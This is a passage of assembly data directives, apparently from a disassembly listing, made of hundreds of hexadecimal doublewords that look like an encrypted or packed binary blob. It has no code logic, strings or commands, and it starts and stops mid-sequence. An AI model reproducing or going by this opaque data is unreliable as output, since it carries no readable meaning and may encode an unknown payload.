17A30090h, 0CA3496FDh dd 1595500h, 8FFFAEA6h, 6BA512C0h, 0F3780082h, 0D4810E40h dd 0ADCE1500h, 65FF5EBFh, 3C1498E5h, 0FB8017DFh, 0E483C68Eh dd 0F8007BEDh, 2B677AFh, 355A1Bh, 70373AB3h, 55E42D2Ch dd 0AE076C00h, 5498ED68h, 20B363h, 8E6678Eh, 0B300170Bh dd 7F04F781h, 0E4E2EAh, 398D40B7h, 442BE721h, 98A16D03h dd 0BCED6B51h, 54C343C1h, 26D8A070h, 67848E3Fh, 0F94E00ACh dd 6E006F84h, 0FDFC5A07h, 0A46439h, 0E0AFA823h, 0F4406DA7h dd 0D6F10800h, 3625CD1h, 21DA0059h, 3237819Ch, 58263EC7h dd 0E7009B57h, 0AFE1BB17h, 54F0783h, 0C8CE9Bh, 2270AE9Ah dd 0BB097F00h, 2A88E21Eh, 69C40021h, 4F242E8Bh, 1500C004h dd 42EBA50Ah, 0FC815C07h, 0CBBB1F16h, 0EAFFCF75h, 4097E147h dd 0BFD98663h, 0FDA9B301h, 0BB2E92E7h, 1DCFBC70h, 805BD13Ch dd 0EB33CD22h, 0B7099EABh, 808F98F6h, 8EF5D580h, 0C0F87330h dd 0BEE16C4Ch, 920008DFh, 18E29BACh, 0F325703h, 0F37D88A6h dd 0BE71E180h, 3E7C6AF5h, 0D846582Eh, 0A5DD2809h, 0CBC0EE80h dd 0AF06B1h, 0D1B3632Bh, 0B8FADB81h, 0AE3B0E14h, 0AA240ECFh dd 84D36080h, 0BA09C02h, 559B5299h, 3EC55082h, 0A98E7860h dd 7A389200h, 2FF97097h, 44B62E74h, 0C7051EEFh, 30E1A984h dd 0F2C5D9BCh, 2F73CF1Eh, 1801B8ACh, 8079AE4Fh, 0BF55E8h dd 9D77C6DEh, 8DEFC494h, 0AF0071B0h, 2CF14AF0h, 78565Ch dd 94B49352h, 0AAFBE481h, 1E5158h, 0FCCDBDCCh, 274F401h dd 326999C9h, 0CA81E5FDh, 28D7DF59h, 0FFE702CCh, 64505E1Eh dd 1EA97C58h, 406A466Ch, 54FE10C6h, 0E73C3AD2h, 80783CF4h dd 5D40BB04h, 93DCFCh, 0E81A6A3Bh, 51B5F377h, 0C8E06600h dd 0F840B289h, 82849934h, 3E5B520Ah, 5EF56448h, 14709316h dd 872DA800h, 780D4A5Ch, 0AFF622h, 11D24ED4h, 0BA772EBFh dd 0F6CC7F01h, 0F9A65844h, 574C052Bh, 70B22Fh, 0AFCFE947h dd 0D54B91h, 54A3DD50h, 75DC28A9h, 0C3312100h, 989F84D0h dd 9E5900E9h, 0EB80FCC0h, 0ED1217B9h, 80262D7h, 0C0FAC166h dd 96DD3488h, 0ECB600F4h, 9BEAF4E0h, 45FB0200h, 76F9223Ch dd 9B7E4D6h, 0D8DD13A5h, 0DE00CCF2h, 8495E4CEh, 603403h dd 9A0250B4h, 0E2A24506h, 0A7DBDC16h, 0F7C0181Fh, 0F98A22D9h dd 616B0046h, 7D0B1875h, 0D7774E6Ch, 0B4706000h, 0AFB2BB6h dd 78350154h, 94961924h, 7113F0A3h, 9B4F300h, 0C77F2AFDh dd 4CBB0078h, 7DA04876h, 0F20B8C56h, 543EB603h, 0A27703E4h dd 0ACE839EAh, 6600EF8Ah, 1D0F1B1h, 3B9ED921h, 3803575h dd 2569449Bh, 56483B32h, 0C52F0018h, 0FF5875C0h, 1F107E7Eh dd 58377C82h, 0B079508Eh, 0B36D5A00h, 809616DBh, 0B2F435h dd 28C3E1A6h, 7DC79119h, 0BBDDE01h, 0D2983AABh, 2F7A1820h dd 58000509h, 20DE12A5h, 762DB201h, 88985308h, 1F41C30h dd 0B187B5B4h, 0D9FDCA65h, 6CC7C452h, 16784F00h, 0B9491512h dd 135109A3h, 0B4404670h, 0D0B42A23h, 0AD309904h, 740070ACh dd 1063B7C5h, 9E00F435h, 494F03C2h, 0D0119Ah, 0E759865Ch dd 46F02E76h, 43EEB10Fh, 380281F4h, 9CFC36A3h, 0E1190B7h dd 1F63AD60h, 0B15D4600h, 8700B656h, 0CCEF4CBFh, 749BAFBh dd 7D07E739h, 0DB11E031h, 0DE27159Ah, 0AD140275h, 150546Fh dd 374DEF35h, 0F03CDB09h, 33850083h, 312CB114h, 79B982Bh dd 45BBCD69h, 0E1416F4Bh, 0DCA80781h, 40FE28EEh, 14426300h dd 37B4C272h, 0D11700F9h, 6775A9CCh, 400C77Bh, 0EBFB9E83h dd 78E2291Ah, 20CF0BAEh, 3C90DFE5h, 0CE007E45h, 4143245Ch dd 78C63778h, 0A1830080h, 59AD6827h, 0EB00CBE6h, 0EDAC69D5h dd 0EFB25F95h, 0CC6A24C8h, 1D9068AEh, 0EDE38503h, 0C0AAE0ADh dd 4E820D42h, 0BE988072h, 0D20026C0h, 1B6D0858h, 2097C0Ch dd 0BFB8C5FEh, 28D48E46h, 0BDDACE00h, 2D0E133Eh, 2C4629CAh dd 0B500527Ch, 0D34CA2DBh, 633BF8h, 0F0F71A15h, 80F17F28h dd 0C5564F00h, 0F6BE85C9h, 71DF0016h, 8C3B728Bh, 5F002864h dd 54F09EDDh, 8766F4h, 604DF57Fh, 0A7484C13h, 5A3DC703h dd 90F00B6Bh, 8A5DD0h, 5343BD66h, 222A5E78h, 0DE58631Fh dd 360008A6h, 0CA7B3C14h, 3B8E3h, 8BAEEDBAh, 5E4CD159h dd 84DD6102h, 0D6907B8Dh, 2AFF07D4h, 5B0759BCh, 0A67511AFh dd 7920DC74h, 960DC00h, 0E9014ED3h, 0AB1D0F3Fh, 0E143A5F0h dd 8BEAF6ECh, 64000856h, 11CEE24Eh, 0B85000ABh, 7FAA89C9h dd 950A797Dh, 0A87BB5DAh, 3161501h, 0B0558473h, 24C18100h dd 83D3A8h, 0DE55914Eh, 0B553AB95h, 20198D2Bh, 0A09CF98Eh dd 6B301061h, 1C9C90B0h, 9E720C4Bh, 0F61201h, 2A3B03A4h dd 5A0B8548h, 227BA819h, 0E43C4BF8h, 41553E6Ch, 0AEEEB300h dd 0F78B62E3h, 0D84F7C00h, 1D9ED3E4h, 8C9D0051h, 4B4A8288h dd 7E60C520h, 0A1198688h, 0EEAE0055h, 108CA25Ch, 0B603DD07h dd 7E9897F2h, 0FB120B9Ah, 0B480F13Eh, 421E683Ah, 7B7C8801h dd 0B1ADD165h, 1F880D6h, 0C047FFh, 0FAA0892Fh, 3F8CC938h dd 75FEF000h, 325B8BDBh, 0DAEC1Bh, 2AF460CDh, 2F109DECh dd 7C00D398h, 2E9833CEh, 39975E27h, 52006406h, 6691B2BFh dd 0DC05A77Ah, 88F28012h, 0D1CB8440h, 34850Fh, 78231DB9h dd 60F7DCBCh, 7B90D600h, 4326155h, 0C92000ECh, 0E4AF0C3Ah dd 0AE00016Eh, 1A470FEFh, 0E2B260B3h, 0BED40A29h, 0FCB6BCh dd 2F932A8Eh, 2404F7BDh, 3E0E4622h, 2DB82CC0h, 0ACB200EBh dd 0FE98F005h, 8F01C463h, 9656E05Bh, 288043DDh, 0F2CCA7EDh dd 94B84520h, 50308B07h, 5500A595h, 119E231h, 2F42C473h dd 3B23EE51h, 0C86BDA83h, 2C682Eh, 8EE43FDFh, 93D0C6D4h dd 0BD67800Eh, 0CD81C0B1h, 7B1110h, 344815D1h, 0E7BABB1Dh dd 0AE049F03h dd 881CC842h, 12FC39E3h, 20CFE28Ah, 48D20E30h, 7A9DFE00h dd 6C89C6AAh, 0BC4E00FDh, 9E2FBE3Fh, 0F20197D8h, 25AD968Dh dd 1BD86A59h, 0CFA83BBCh, 0C62DBF00h, 2699171Ch, 3DA66C39h dd 7C00063h, 790C7F9Ah, 691E00FDh, 84BD4776h, 7A0087F1h dd 281D5D6Ah, 0FB0A72h, 37DEB47Eh, 0CE48A29Ah, 32A34503h dd 87F043D0h, 0F78200F9h, 0CCBFD8h, 7A5736E2h, 0B2841370h dd 0C3823Dh, 5A203C12h, 0E3D009h, 41479BE0h, 0B6FC4914h dd 0B1EE5Ch, 0D295E6F0h, 0AE561h, 9C76CD0Eh, 9206445Ah dd 0D6D4B300h, 36CE4EA9h, 0D1FD1867h, 2B2F1802h, 90E72400h dd 9C090DBCh, 0E09A0081h, 0B910D589h, 6600D463h, 98C55142h dd 9CE49602h, 0C2280C4h, 2C2F018Fh, 86445402h, 567033DFh dd 0FAB20090h, 302651AAh, 0C798A201h, 6B2AE857h, 0BD9EF0h dd 3B8493D9h, 0D66F2DA4h, 0C360FC01h, 6E2CF2E5h, 71F9D8h dd 0E2744637h, 4B415886h, 533C680Eh, 25FBC0C2h, 4C4CA610h dd 8D000A88h, 72A5399Bh, 410A37BBh, 9573925Fh, 5D682500h dd 0F0B21h, 8A7AA480h, 42C696A6h, 9AF76F1Dh, 0BE00181Ch dd 1B74AF3Fh, 0ECFD007Bh, 67221E61h, 57078038h, 0F8097584h dd 53057F70h, 74EF00EDh, 0D2D5864Ah, 0E20084F3h, 0DFB9DC1Eh dd 3A6C7Fh, 0E73498CBh, 0EEEFEB06h, 0AE1EF400h, 0E37EFAE0h dd 94030005h, 965BD60Eh, 607F2D92h, 0F91FC61Eh, 60809FD2h dd 0B4E34Dh, 9554C951h, 0F387F85Ah, 68801C9Bh, 0ADC49952h dd 0F8317392h, 0F5E0181Ch, 0ACDA3E16h, 9677C000h, 0AA6A7626h dd 0A1B8CDh, 31A4D1B2h, 37C92A46h, 0C5DED700h, 28198E54h dd 0B553FC66h, 958AB002h, 0B000985Ch, 0BF2FA8A2h, 0F443AD6h dd 18D34A18h, 33011B02h, 0DD86EFDEh, 0DC608058h, 399AF1B7h dd 787E2004h, 0CDF12680h, 5A12CFD7h, 8E648C17h, 1761603Ch dd 0CC41A585h, 0C7B9D4B5h, 23420A0h, 0AC5BBF05h, 90C0FF77h dd 0F900D247h, 0AB107C90h, 76192Fh, 65DFC875h, 0EF32545Bh dd 0FC148CE8h, 746C1CC2h, 0BDA95961h, 27205BEEh, 62430075h dd 3384BC06h, 0CAFE8174h, 460019F2h, 438A9A56h, 0FEA6725Ah dd 73353842h, 0F7F27800h, 0ED19444Eh, 8601A478h, 0DA39CD91h dd 42F4BD15h, 0DEBA0001h, 0E6C20C0Ah, 8071456Ch, 0C6862300h dd 935C8CC7h, 83D80355h, 0DC7E5750h, 5EA879D8h, 2FEA341Dh dd 5F47451Fh, 1D71F99Ah, 3CC9281Fh, 398416FCh, 230040EAh dd 0B916631h, 0CF056342h, 0E85CEC67h, 0EC0A440h, 68254BCh dd 0F8EF01ACh, 0C95A08FBh, 8A391080h, 945E010Ah, 0F00283B2h dd 8CC8009Ah, 0F20ECA6h, 3F522395h, 0E0800C80h, 0FE0122D5h dd 629D329Fh, 0E6C01959h, 3F2A0125h, 0A61C334Eh, 0F16F10C6h dd 0EFC9007Bh, 0FCA2348Ah, 0DEE841DAh, 2500A8BEh, 0D61C7BAAh dd 6B503D4h, 0F85F4B21h, 0B4F96D80h, 0D8CF49C0h, 79DF0Fh dd 0FC160BD0h, 3F2B35F1h, 0B86980F1h, 5D08ED74h, 0E93E000Ch dd 3F38FEFFh, 0E9C09863h, 0CEF80E8Ch, 0BAAD0090h, 56ED88A6h dd 0D2005DDFh, 0E1D351CAh, 4E8064h, 0BC9DB5Fh, 65F486B9h dd 2040BC60h, 488259Ah, 8EC11823h, 85598340h, 9C5CA6A2h dd 0AB6F1D00h, 834403h, 9A3BF4E2h, 0C2F96263h, 0FDFE247Bh dd 1D61B63Ch, 4C02331h, 2AD4506Eh, 5A74EBh, 0C70306E4h dd 0E0C87B59h, 0EF8B2B00h, 0A2279BCDh, 718C0196h, 0BEF03884h dd 0E10CC878h, 0E300B4E4h, 1AF66F9Dh, 0FA8CD3Dh, 1687718Bh dd 46179B00h, 0B0043E4h, 42142BB8h, 4AFF4Ch, 87E6956Bh dd 0A1C645F1h, 6144D700h, 0A31066BCh, 0AACF0003h, 1FF8EC09h dd 69004121h, 0DB6DF307h, 3AF4EBCDh, 0A801BDDCh, 0B92D319Fh dd 0B461FC32h, 37139D00h, 79767483h, 821C0090h, 0A1A5A39Fh dd 8B00D557h, 0E9F1C32Ch, 1432BBh, 9376F7D4h, 2B3D30F4h dd 0DF82BF00h, 0FBB96BF6h, 2A00403h, 806F71C4h, 0C74EE940h dd 0BC42B003h, 907FADDDh, 6A1DDFh, 0A5565D01h, 7B1D6CAh dd 0DE2AAF00h, 0F63DBFF3h, 30980E23h, 93A7EF62h, 3A01707Ah dd 38305F88h, 0ED646961h, 351B0F0Ah, 6FE3B446h, 0E807A2Ch dd 0E700206Bh, 58DAAF59h, 3CCC7C2Dh, 2E0B5A4Dh, 0BE810829h dd 0F13576BCh, 8542DC71h, 0FCA32405h, 30034303h, 0C8E064CFh dd 0FEBB495Fh, 95EA01EBh, 0CDAC4B2Fh, 0A318022h, 4D5563ADh dd 0D0E539F4h, 0C14C6080h, 0AABD4A82h, 0DAB93200h, 0F879756Ah dd 0CAFA09h, 0E03DDD42h, 1C0A25B4h, 0B10580F6h, 85A4D871h dd 9E6CCF80h, 0E7700F56h, 0F60042E4h, 38E674AAh, 7C33BC00h dd 0D79F4346h, 0C3B307F2h, 30A1514Ah, 27F7F5E7h, 0B8BB5B00h dd 7CEB4E9Dh, 56330063h, 6CAB1B0Dh, 290F7A9Fh, 261048h dd 6D280E1Eh, 8BB900B3h, 0C49BF443h, 0D01EBA03h, 1647A9DAh dd 54F07137h, 983AD6h, 8C9BACC3h, 79A91F24h, 7B688218h dd 0FD6B90h, 31F2BE96h, 0E7E5B9AEh, 0B65F6A01h, 4BF8B355h dd 0C36187FCh, 86182830h, 0B814F6B8h, 63BAB601h, 5CDD4323h dd 775DE8CFh, 75820029h, 51887E0Dh, 0E90E42F6h, 0A125E367h dd 952E5FAEh, 5880F7EDh, 7C7F1D37h, 40D88428h, 40F17E59h dd 44E69961h, 6C600589h, 504CFE0Eh, 2572C52h, 5FACD81Dh dd 8F108772h, 0B07D40FEh, 0C688857Ch, 55D4019h, 0D13E8C42h dd 0F01127A0h, 1708F8A1h, 460A9D03h, 97488454h, 0FC548422h dd 4844CE2Ch, 0ED08F7E1h, 28282220h, 28584534h, 3AB4508Fh dd 9AC86A5Fh, 0B9ED2706h, 80EF3838h, 0C296BB9Ah, 0EB26562h dd 3078AFDBh, 99B64120h, 7B0367E5h, 1CAEC2D6h, 0B378019Dh dd 0A9151890h, 8668893Fh, 0E98C82D9h, 43926047h, 606CFCAEh dd 0D6F891Eh, 73002E28h, 0B97494B7h, 29532Bh, 44FA9730h dd 0A6BBAE2Fh, 918B0F00h, 15AA339h, 0B3E80628h, 0D88FB271h dd 0B11AD904h, 1DC07477h, 0A0C31175h, 2A9A2A4h, 7B01D653h dd 9AE156C2h, 90C85063h, 65FE45FBh, 840CAB28h, 0A6B81503h dd 98235F95h, 1838F5EBh, 105EBED7h, 0CE50FB68h, 320B0F0h dd 4E900096h, 0F5A32763h, 5B001070h, 7FD7A87Ah, 768B66B3h dd 251907C8h, 421E099Fh, 0E8C0FC67h, 0F602FA38h, 0C21490E8h dd 5D9483F7h, 0C05FE8F4h, 0E75C0787h, 405051DAh, 172E23F8h dd 20BC18C0h, 1E1EB9DDh, 0A0BF8Ch, 7C483694h, 9C499BC4h dd 0B35E12F4h, 0CC114041h, 2B20C504h, 1D0E0245h, 484E2454h dd 0FEEF2440h, 831EEC00h, 0F06C37A8h, 80A25476h, 9197A31h dd 22344B84h, 43B80827h, 1FC1D130h, 7E2B60E8h, 0E416C328h dd 0B82E9F00h, 317A7CB0h, 25E8092Ch, 0B021125Dh, 0E4E0320Dh dd 5BE8CBF8h, 3B203003h, 0F8D183CFh, 1E08C40Fh, 84FF73D6h dd 8055926Ch, 71786548h, 0E20C7200h, 47B58822h, 0FEE00B0h dd 7E8F04CBh, 0A2794BCAh, 0E07D892h, 44EB1575h, 62C52C00h dd 5963010Bh, 6ACC27E0h, 91376011h, 0FA904700h, 13A80ED1h dd 7AC1047Fh, 0C9105270h, 0C2DD0108h, 25A8FCFBh, 60072100h dd 0E9446A97h, 7EA226C5h, 389748h, 0DA4CE7CDh, 0D018EF5h dd 99BF61F0h, 0CC718847h, 5CF7188Eh, 7298CD80h, 600739C6h dd 0A925077Ch, 7E92D3E0h, 39700ECh, 1B11C71h, 0C858B9A0h dd 15F50FC8h, 0DFC3204Eh, 0E56BF4A4h, 0C06A77D0h, 15FF8A20h dd 6C0F9FB0h, 0E331FB23h, 0A074B229h, 0A666849h, 9FFF4A1Ch dd 16A40728h, 4C1B01E3h, 0F79C08A6h, 15EE3500h, 30A94F00h dd 4D86FE07h, 0A5E2BEh dd 0F4CC4641h, 0E5DF368Dh, 5A6CD900h, 0AA1FDC74h, 0B374E7h dd 59DA6F04h, 0B14EB466h, 0C5377500h, 3671C241h, 6F0300AEh dd 846658C4h, 6901619Ch, 0BC29AD91h, 907053B3h, 69436F0Ch dd 0E5E1F5C3h, 346FB929h, 48B9173h, 72013F08h, 4943D0B3h dd 0BAF09029h, 0E4E300C8h, 0DE96C1Dh, 0C612339Ah, 0D81C038Ch dd 0B3F8C069h, 3CDD00CEh, 396DF671h, 640311DFh, 0BD890A8Bh dd 1E86D0CBh, 3B1705Dh, 7833BBF4h, 10015E2Ah, 6BFC7F91h dd 8BE8B893h, 7A34001Dh, 31F4E306h, 0A300B7FAh, 92B03CAFh dd 3FB15453h, 734C6158h, 4D315B00h, 1859A226h, 4CF85D00h dd 0CF3A0B81h, 0EE370073h, 0BAB38458h, 6C0E8988h, 44CE1457h dd 44C07675h, 1B6392h, 364C342Eh, 0E27BF274h, 0B2D87900h dd 40CB8645h, 0E42131Ch, 0E8CE8E3h, 0EE042C4Eh, 2321E052h dd 38104Ah, 198F0177h, 0B07CF05Eh, 3E97B800h, 0E758DECDh dd 6BF30039h, 75D548ABh, 6C0010EDh, 0BA485FAh, 1A5F9B1h dd 0C8934195h, 0E0DA7B31h, 5AF9B44Ah, 0E7FD0104h, 0B27B321Dh dd 98660DC0h, 41280099h, 316C5DCCh, 50EA74Ch, 0B60329F9h dd 0BBD2BF07h, 0E78C28DCh, 6D9E5600h, 13FDFF00h, 0A78702D6h dd 0AAAB01C8h, 6F244408h, 0ECE9C510h, 5A009DCEh, 33D39FBBh dd 0E8E4CC9Eh, 16BA00D1h, 9615C244h, 0C50087B0h, 9F282B69h dd 77F91C74h, 0B23300D2h, 0A06C1794h, 5F005E9Dh, 0A40727E4h dd 7EF86FF7h, 697900C3h, 0DFB7AB37h, 1C018B35h, 861E1DE5h dd 9BDC1B45h, 0F03A0F01h, 0AC20B0EAh, 0B1D0CC3Eh, 17B2C500h dd 0E2E88B28h, 74580031h, 224FC3FDh, 55143729h, 0EFAD04Ch dd 7577FCh, 0FFF53AEDh, 59FD001Ch, 97EDA21h, 9E010AB4h dd 183B1225h, 8BE00F67h, 3640035Fh, 1F094A9Bh, 7A3825A8h dd 71022713h, 0E0B9F90Eh, 0D04231F5h, 0F15100C9h, 0EC69E965h dd 58003B05h, 0A8D13D97h, 85BED2h, 17D52460h, 3C5194F5h dd 5F8D800h, 32E097ABh, 1D131869h, 9643FC65h, 4ED02000h dd 198C86AEh, 0F5E04Fh, 0C45D475Bh, 8EF9BF7Dh, 5403821Dh dd 40BAFC8Eh, 0B7CD7C96h, 785201DDh, 9FFC64Dh, 89C2D098h dd 0FE0C4E07h, 0E6902BA0h, 3E8DD70h, 504DE3F4h, 0ABF092BDh dd 1507CDA7h, 0A0C27844h, 0E7FF0D20h, 0B9C81E63h, 89EC41A4h dd 7A40CDADh, 1FB79B80h, 0E12A03FAh, 0F3084F3h, 0A761B1E8h dd 96E8BF00h, 78EF329Ah, 5C9848CFh, 0B937D400h, 71C7B8E2h dd 1F27B300h, 7A9CDCC2h, 912E009Dh, 43B5D668h, 0E4015387h dd 7DE9E1C1h, 0A02B0626h, 8F0782D4h, 215B95F3h, 0C7F543A0h dd 0D728002Ah, 176133B5h, 1F000163h, 1C8CFE68h, 0AEDF32h dd 0B48279A3h, 22352E83h, 1AB13E1Dh, 0F26E1CC0h, 3914C6CEh dd 3100D836h, 5074BBCFh, 0D300FB47h, 60B88124h, 7728DC6h dd 2BF4D46Bh, 0B7604E4Dh, 2C9650FCh, 0E1665E00h, 0CE9E083Eh dd 0FEDB1CE7h, 6FEA4EB0h, 2BBD6D20h, 0AC00F0DFh, 0AE9ADA20h dd 25747ECh, 0E7CA1AAAh, 0B2406C06h, 3200016Dh, 58D043ACh dd 7FCB647Dh, 0F3CF13B0h, 2B8400E4h, 345061EEh, 0FF0152E4h dd 238624F7h, 72F8F2C4h, 0D1AA0719h, 50BE7180h, 9F5029E2h dd 59F16E00h, 0F3461FACh, 8307002Bh, 0CC52B4EDh, 2200DBA1h dd 0FD12829Eh, 91798h, 8F668A1Dh, 47DA287Fh, 2AD3F600h dd 0DCE55444h, 95342463h, 302F0058h, 256741A4h, 8F426D00h dd 0AD4FF88Dh, 70281DCCh, 0C7939F1Ch, 10723B57h, 26C73320h dd 92146902h, 40B3FAC9h, 1A0C60Ch, 99AB3119h, 8F2B4F17h dd 0A0655DC0h, 0A5E553CEh, 78A00C7h, 0D58529C5h, 911C3DDDh dd 2C406B90h, 195CCF28h, 79350F04h, 7B43C855h, 1B0A3E0h dd 880057C5h, 0B192D56Dh, 0E66940h, 7D0C3C2Ah, 5D1ADF4Dh dd 0BCE24Dh, 0F8E0CD61h, 18940C0h, 0E91CCC6Ah, 0E0DDB23Dh dd 7650C39Ah, 0B400D785h, 0FCCDF8E8h, 7266772h, 590FABBBh dd 3E14208Ah, 6300D6F0h, 0FFD86DA1h, 36F3E4h, 0F28FC6A7h dd 0D4453C15h, 295A4A00h, 0B507EFA4h, 9C540257h, 0ACFDD3AFh dd 451080F5h, 0EF3904h, 16AE0CA5h, 5A9A98A4h, 800EDF3Fh dd 3184D581h, 0D02285h, 58EFC78Fh, 6DD74AA6h, 0D0AEA07h dd 75A5131Fh, 6841CFC2h, 2E25C730h, 2F2E3h, 8E6829C4h dd 0A2009D08h, 18EEA89Fh, 7E64ACh, 0A6679794h, 80601475h dd 699E1E00h, 0BE4838F3h, 6B2D1D5Fh, 0F007FA21h, 0A0DC314Eh dd 1A56423h, 84A70612h, 0D8981C63h, 0F65F71h, 23513011h dd 9C6F0828h, 294AC500h, 0C6702DDAh, 61A900DDh, 266C7190h dd 220794A0h, 3989153Bh, 0E31600A9h, 0F026EDBh, 5AFDFC23h dd 88E59E00h, 0B075244h, 31AA5BC0h, 90D74333h, 0A076055Eh dd 0D6E7AF0h, 6061E472h, 88A0C0A8h, 9ADF0101h, 45A1EF20h dd 0B39820h, 0AF21BD19h, 16E1414Fh, 1BB6C0B7h, 0CEFC0789h dd 0B006E651h, 2272B0B9h, 4CBA3Eh, 0A0870462h, 0C3C8C1h dd 27D9CD1Ch, 70800131h, 3062411Fh, 0C9D1FF40h, 0E6A86028h dd 4A291FC2h, 1F254079h, 3C981127h, 3B00F778h, 0F0A1ABAEh dd 0EC623E9Bh, 0BDEA00FEh, 5B8523D9h, 0E80E94C5h, 605811D4h dd 0A0DF53A3h, 121B0051h, 1E3633EFh, 0B102B463h, 43C7750Ch dd 1381D7A5h, 0E464031Fh, 2D00F95Eh, 36283E77h, 7EC0DF2h dd 0E0428E37h, 938DF04Ah, 500F01F5h, 80DF683Ch, 14284781h dd 79C57DB4h, 0F82174D7h, 0B0ED0A45h, 2B46968h, 7492430Eh dd 0A76124C2h, 1C6C74D5h, 9E779675h, 525A4F1Ch, 685E6D40h dd 0B46016h, 914E01AEh, 0EC238CE5h, 300787Eh, 0FD28FEF8h dd 0DF1EB1h, 97D726E3h, 1975187Fh, 5D74220Eh, 9C65A0EAh dd 7F9AFD01h, 52A5001Eh, 424E1CBBh, 0EF00DE3Fh, 5BDD282Dh dd 4CDA641Bh, 2500B3FAh, 88E31FE4h, 0AD004A92h, 1DED67C7h dd 47DA23Ah, 42709A90h, 300CC7F7h, 0E508D4FAh, 0C98B3E01h dd 0FBF07236h, 0A020DBCCh, 0BE0EB4h, 0D14189ACh, 0D1F3358h dd 672F3Ah, 5999C5ADh, 0E265ECE5h, 0F5BB07AAh, 602C7D50h dd 0CE2B6F9Dh, 68F3D0Fh, 0B9460B6h, 0DD1279h, 0A54A82DBh dd 0D8289FFEh, 0A4C11300h, 3B3F3DCAh, 6560E720h, 2F7612h dd 0C94DE01Fh, 0B23A021Dh, 27FF1B0Eh, 0E23EC0A4h, 82A74h dd 24884506h, 0FBD15B98h, 84AB6C1Fh, 83482300h, 1CDBB17Ch dd 40BA5E5Dh, 67BDD5ACh, 1A0F3AF4h, 0C0272146h, 614835D0h dd 0FECF70B3h, 6C707Eh, 0A995A8DBh, 62E1832Eh, 210161B0h dd 1E4F0319h, 0C02409D6h, 668B1D59h, 0BC6000FCh, 0CEB1AF01h dd 48D3DC00h, 5C294643h, 0FAD2311Ch, 508CF231h, 0CF65D8C0h dd 0C89CB70Eh, 0C0374E72h, 0D9133BBBh, 1AF200B3h, 0DB2AB6ACh dd 0C8A03829h, 663C91A9h, 1E037324h, 0C9E21CD3h, 0A8B38BE7h dd 1D7727Ch, 558B1A5Fh, 20BC17DEh, 0F900B4CAh, 0DC5A273Ch dd 73B12BF6h, 0F3FD0C6Eh, 10202D93h, 28893018h, 49EC79A0h dd 1F1C00B0h, 4AB9B02Fh, 807707Fh, 4386FF60h, 39D3130h dd 0A80460A6h, 99B8DBCAh, 0F178BF0Fh, 0E41A200Fh, 7B0B4D97h dd 31F3033Dh, 0C065FACDh, 18B743E0h, 19D58C00h, 59BB380h dd 40590E29h, 0AD617F5Fh, 0F131B0E7h, 0CCC08355h, 0A1538B77h dd 0E420890Fh, 9DF23907h, 0B685100h, 66BEF5D5h, 132AB703h dd 162CF30h, 950DCD38h, 0D06FB07Ah, 50001AF1h, 688B9D99h dd 0F2D2013h, 35B5C888h, 9A796720h, 26009714h, 587FD48Dh dd 0E2FF2527h, 846600C4h dd 96C2B93Dh, 360090C1h, 77EB3176h, 1210EA4Ah, 33973Ah dd 0CB37B4E7h, 2100FF27h, 94507723h, 5ED6A8h, 0DBA6993Fh dd 6EF4903Bh, 2B37B218h, 0B66A60h, 6118C9D2h, 0A91B129Eh dd 5569EA00h, 0B71DCD77h, 6DE70EABh, 78C27FCAh, 80609EA0h dd 4A00DF99h, 0B42BEE6Bh, 0D5CF08h, 0EC1FEAC0h, 0A9102652h dd 9BD92528h, 616F6C00h, 0A3A2419Dh, 835D008Dh, 56733F7Dh dd 300BB20h, 0D39379C9h, 758F7E53h, 0A67E6Ah, 86C6F34Eh dd 283926B4h, 598FF03h, 9DEEE563h, 0B8271C83h, 0EB49AAh dd 0E3E4BD06h, 0EC36A514h, 0E54FEE18h, 28C93010h, 0FA8CCA13h dd 387798D2h, 1D0C9139h, 0FC19C4E0h, 802698C0h, 1E751Bh dd 0E110ECF4h, 0B2AB45CDh, 9D656407h, 2377D427h, 0C37F9F50h dd 191100DAh, 6822BE2Dh, 0D8008AF2h, 7A02BD50h, 1DFA9127h dd 0C0C9097Dh, 6A99656Bh, 0B748EC49h, 0D71C001Bh, 0F4F6A51Bh dd 6CE621h, 2FEAAC27h, 86A6A0C1h, 312D500h, 14D67BD0h dd 95B70F65h, 0A8C60418h, 5700A8A4h, 3A8DF95Ch, 771EF30h dd 0FE472E14h, 9B0270B5h, 0E6241258h, 0DC002FA4h, 421CB0E5h dd 0D2E49Ch, 0BAF08F39h, 20877CBEh, 6E523A78h, 9BD68104h dd 0CD40EF76h, 574ADBh, 16BC6B8Dh, 15D78C9Ah, 0BA4C0F00h dd 0C15FC76Ch, 0C8BE01C5h, 57C3794Bh, 12CBD452h, 4EB29400h dd 7D4FF1A3h, 9DF4F5C6h, 28F0FBE9h, 2E610029h, 0F796A4F2h dd 1F1391CCh, 7F0EBD64h, 8E82A0F8h, 0E4DC4Bh, 76781C99h dd 40967B63h, 0A4FC3900h, 20607A50h, 29751Eh, 0EE28E8BBh dd 5C2606C7h, 93887800h, 0A1C51B0Ah, 7C6D0463h, 82D2A70Ch dd 0C4C01C53h, 0EF009206h, 6F1A916Ah, 162E51D5h, 0D266FFh dd 597BF38Dh, 0BE00E965h, 1D52A90Eh, 7CA0A6h, 25EF68E0h dd 8EC93A42h, 8496E200h, 0EB06312h, 18AE133Ch, 0FB68002Ah dd 1A10B85h, 24E11C0Eh, 0EE3C435Ch, 0D8F0879Ch, 0EE29CF87h dd 0DAB8141Eh, 2008FB3h, 72387CC1h, 6816D474h, 0B4009A61h dd 77CA883Eh, 0B84A3AE7h, 0F6521080h, 5709943Fh, 0CC434000h dd 3BA5EE19h, 96AC30D4h, 94E30E18h, 53005276h, 3F2D1DA4h dd 7D90F02h, 36C35987h, 9976705Fh, 0BF043ED3h, 8E893192h dd 0C1DC1080h, 62FF28BBh, 1E800790h, 30D0788Bh, 0EBB6BDF1h dd 5B108D60h, 499C4Eh, 4005ED04h, 305EACB2h, 0CA87E00h dd 8912EF99h, 6E063B20h, 0F7217487h, 0F2D88FC1h, 7C005EC0h dd 0E6877BD6h, 0F651BB17h, 28710073h, 42FFE5ACh, 980309A3h dd 36AA68AFh, 5D66C029h, 4B8300C6h, 95EC7BCEh, 0A00F4413h dd 605BADF9h, 318FB20Ch, 38E455h, 2F6ED896h, 0C0732001h dd 4E4D650Fh, 2D3E072h, 530A43h, 4767CAECh, 769C2AF1h dd 0C072AA00h, 0C6384FAh, 5B7D0013h, 0EFACDC16h, 2800384Ah dd 6F49C07Bh, 9796E3h, 1A27ADD4h, 73F5DACCh, 922BA400h dd 0DEECCB5Bh, 3BCD249Ch, 0D6C507B0h, 2AE100BAh, 9000CC65h dd 192F0376h, 7A4EF00Ah, 0E26D00A5h, 0B8803439h, 0E3E84324h dd 662FC400h, 